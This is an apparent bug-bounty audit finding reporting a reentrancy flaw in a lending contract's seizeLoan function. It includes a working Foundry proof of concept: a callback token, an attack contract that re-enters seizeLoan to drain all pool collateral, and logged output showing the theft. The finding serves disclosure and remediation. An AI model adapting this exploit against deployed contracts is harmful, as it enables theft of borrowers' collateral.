20,000 USDC
View results
Submission Details
Severity: medium
Valid

Reentrancy in `seizeLoan` allows lender can transfer all his loan's collateral tokens before `loan.auctionLength` passes.

Summary

In seizeLoan(uint256[] calldata loanId) loan details are deleted after transferring tokens to the lender. If the pool tokens can change the control flow (tokens on ERC20 such as ERC777, ERC223 or other customized ERC20 tokens that alert the receiver of transactions) then

  1. Allows lender to transfer all his loans collateral before loan.auctionLength passed.

Vulnerability Details

When a loan is seized by calling seizeLoan(uint256[] calldata loanId) the control is transfered to the lender before deleting loan details. So that lender can reenter the same function if tokens are based on ERC20 such as ERC777, ERC223 or other customized ERC20.

IERC20(loan.collateralToken).transfer(
loan.lender,
loan.collateral - govFee
)//@audit-info reentrancy
.
.
.
delete loans[loanId];

Test test_seizeLoan_reentrancy will demonstrate the following flow

  1. Attacker creates a pool with 10000 tkn. 3 Borrowers lended 100 loan tkn each depositing 100 collateral tkn.

  2. loan[0] is set to acution and it got to seize.

  3. seize(loanIds) is called and (collateral -fee) tkns are sent to attacker. Suppose (100 - 5) = 95 collateral tkns transfered to lender.

  4. Attacker reenters seize with same loanIds loan[0](this loan details exist as it is not yet deleted). until outstandingLoan is made 0

  5. Attacker gains 95 * 3 = 285 collateral tokens. Where he supposed to get 95 collateral tkns. When borrower try to pay loan this may lock their collateral if outstandingLoan remains zero.

Add this to tests/mock/SeizeAttackMock.sol

// SPDX-License-Identifier: UNLICENSED
pragma solidity ^0.8.13;
import "openzeppelin/token/ERC20/ERC20.sol";
import "../../src/utils/Structs.sol";
import {Lender} from "../../src/Lender.sol";
contract TERC20 is ERC20("collateralToken", "ct") {
function name() public pure override returns (string memory) {
return "Test ERC20";
}
function symbol() public pure override returns (string memory) {
return "TERC20";
}
function mint(address _to, uint256 _amount) public {
_mint(_to, _amount);
}
}
interface IERC20WithCallback {
function beforeTokenTransfer (address to, uint256 amount) external;
}
contract ERC777 is ERC20("loanToken", "lt") {
function mint(address account, uint256 amount) external returns(bool) {
_mint(account, amount);
return true;
}
function burnFrom(address account, uint256 amount) external returns(bool) {
_burn(account, amount);
return true;
}
function transfer(address to, uint256 amount) public virtual override returns (bool)
{
_beforeTokenTransfer(to, amount);
return super.transfer(to, amount);
}
function isContract(address addr) public view returns(bool) {
uint size;
assembly { size := extcodesize(addr) }
return size > 0;
}
function _beforeTokenTransfer(address to, uint256 amount) internal {
if(isContract(to)) {
IERC20WithCallback(to).beforeTokenTransfer(to, amount);
}
}
}
contract LenderMock is IERC20WithCallback {
Lender public lender;
event receivedFee(address, uint256);
function setLender() public returns(Lender) {
return new Lender();
}
function beforeTokenTransfer(address to, uint256 amount) external {
emit receivedFee(to, amount);
}
}
contract AttackContract_1 is IERC20WithCallback {
uint256[] loanIds;
address public lender;
address public token;
address public collateral;
uint256 amountReceived;
bytes32 poolId;
uint256 debt;
uint256 cnt;
function setup(address _lender, address _token, address _collateral, uint256[] calldata _loanIds) public {
loanIds = _loanIds;
lender = _lender;
token = _token;
collateral = _collateral;
(address pool_lender,,address pool_loanToken, address pool_collateralToken, uint256 _debt,,,,,) = Lender(_lender).loans(_loanIds[0]);
debt = _debt;
poolId = Lender(lender).getPoolId(pool_lender, pool_loanToken, pool_collateralToken);
}
function beforeTokenTransfer(address to, uint256 amount) external {
// cnt += 1;
amountReceived += amount;
uint256 balance = ERC777(collateral).balanceOf(lender);
(,,,,,,,,uint256 outstandingLoans) = Lender(lender).pools(poolId);
if (balance > amountReceived && outstandingLoans > debt) {
Lender(lender).seizeLoan(loanIds);
}
}
}

Add this to tests/SeizeLoanReentrancy.t.sol

// SPDX-License-Identifier: UNLICENSED
pragma solidity ^0.8.13;
import "forge-std/Test.sol";
import "./mock/SeizeAttackMock.sol";
contract SeizeReentrancy is Test {
AttackContract_1 public attack_1_Contract = new AttackContract_1();
Lender public lender;
TERC20 public loanToken;
ERC777 public collateralToken;
address public attack_1_Address = address(attack_1_Contract);
address public lender2 = address(0x2);
address public borrower = address(0x5);
address public borrower1 = address(0x6);
address public borrower2 = address(0x7);
function setUp() public {
LenderMock lenderMock = new LenderMock();
lender = lenderMock.setLender();
loanToken = new TERC20();
collateralToken = new ERC777();
loanToken.mint(attack_1_Address, 100000*10**18);
loanToken.mint(address(lender2), 100000*10**18);
//collateralToken.mint(address(lender), 100000*10**18);
collateralToken.mint(address(borrower), 100000*10**18);
collateralToken.mint(address(borrower1), 100000*10**18);
collateralToken.mint(address(borrower2), 100000*10**18);
vm.startPrank(attack_1_Address);
loanToken.approve(address(lender), 1000000*10**18);
collateralToken.approve(address(lender), 1000000*10**18);
vm.startPrank(lender2);
loanToken.approve(address(lender), 1000000*10**18);
collateralToken.approve(address(lender), 1000000*10**18);
vm.startPrank(borrower);
loanToken.approve(address(lender), 1000000*10**18);
collateralToken.approve(address(lender), 1000000*10**18);
vm.startPrank(borrower1);
loanToken.approve(address(lender), 1000000*10**18);
collateralToken.approve(address(lender), 1000000*10**18);
vm.startPrank(borrower2);
loanToken.approve(address(lender), 1000000*10**18);
collateralToken.approve(address(lender), 1000000*10**18);
}
function test_set_and_borrow(address _lender, address _borrower) public returns(bytes32) {
// set pool as lender 1
bytes32 poolId = test_setPool(_lender);
test_borrow(poolId, _borrower);
return poolId;
}
function test_setPool(address _lender) public returns(bytes32 poolId) {
vm.startPrank(_lender);
Pool memory p = Pool({
lender: _lender,
loanToken: address(loanToken),
collateralToken: address(collateralToken),
minLoanSize: 100*1e18,
poolBalance: 10000*1e18,
maxLoanRatio: 2*1e18,
auctionLength: 1 days,
interestRate: 1000,
outstandingLoans: 0
});
return lender.setPool(p);
}
function test_borrow(bytes32 _poolId, address _borrower) public {
vm.startPrank(_borrower);
Borrow memory b = Borrow({
poolId: _poolId,
debt: 100*1e18,
collateral: 100*1e18
});
Borrow[] memory borrows = new Borrow[](1);
borrows[0] = b;
lender.borrow(borrows);
}
function test_seizeLoan_reentrancy() public {
bytes32 poolId = test_set_and_borrow(attack_1_Address, borrower);
test_borrow(poolId, borrower1);
test_borrow(poolId, borrower2);
// accrue interest
vm.warp(block.timestamp + 364 days + 12 hours);
// kick off auction
vm.startPrank(attack_1_Address);
uint256[] memory loanIds = new uint256[](1);
loanIds[0] = 0;
lender.startAuction(loanIds);
vm.warp(block.timestamp + 2 days);
attack_1_Contract.setup(address(lender), address(loanToken), address(collateralToken), loanIds);
// Debug -----------------------------------------------------------------
(,,,, uint256 _pb2,,,, uint256 _ol2) = lender.pools(poolId);
emit log_string("Before Attack: ");
emit log_string("///////////////////////////////////////");
emit log_named_decimal_uint("Lender Contract Collateral Tokens: ", collateralToken.balanceOf(address(lender)), 18);
emit log_named_decimal_uint("Attacker Collateral Tokens: ", collateralToken.balanceOf(attack_1_Address), 18);
emit log_named_decimal_uint("Attacker Pool Outstanding Loans: ", _ol2, 18);
emit log_string("");
// -----------------------------------------------------------------------
lender.seizeLoan(loanIds);
// Debug -----------------------------------------------------------------
(,,,, uint256 _pb,,,, uint256 _ol) = lender.pools(poolId);
emit log_string("After Attack: ");
emit log_string("///////////////////////////////////////");
emit log_named_decimal_uint("Lender Contract Collateral Tokens: ", collateralToken.balanceOf(address(lender)), 18);
emit log_named_decimal_uint("Attacker Collateral Tokens: ", collateralToken.balanceOf(attack_1_Address), 18);
emit log_named_decimal_uint("Attacker Pool Outstanding Loans: ", _ol, 18);
emit log_string("");
// -----------------------------------------------------------------------
}

Run tests with command forge test --match-path test/SeizeReentrancy.t.sol -vv

Expected Output:

[PASS] test_seizeLoan_reentrancy() (gas: 1257290) // Attack#1
Logs:
Before Attack:
///////////////////////////////////////
Lender Contract Collateral Tokens: : 300.000000000000000000
Attacker Collateral Tokens: : 0.000000000000000000
Attacker Pool Outstanding Loans: : 300.000000000000000000
After Attack:
///////////////////////////////////////
Lender Contract Collateral Tokens: : 0.000000000000000000
Attacker Collateral Tokens: : 298.500000000000000000
Attacker Pool Outstanding Loans: : 0.000000000000000000

Impact

Lenders can withdraw collateral tokens even the loan auction length remains. Thus borrower collateral locked by lender.

Tools Used

Foundry

Recommendations

Delete loan details before transferring handle to lender.

Support

FAQs

Can't find an answer? Chat with us on Discord, Twitter or Linkedin.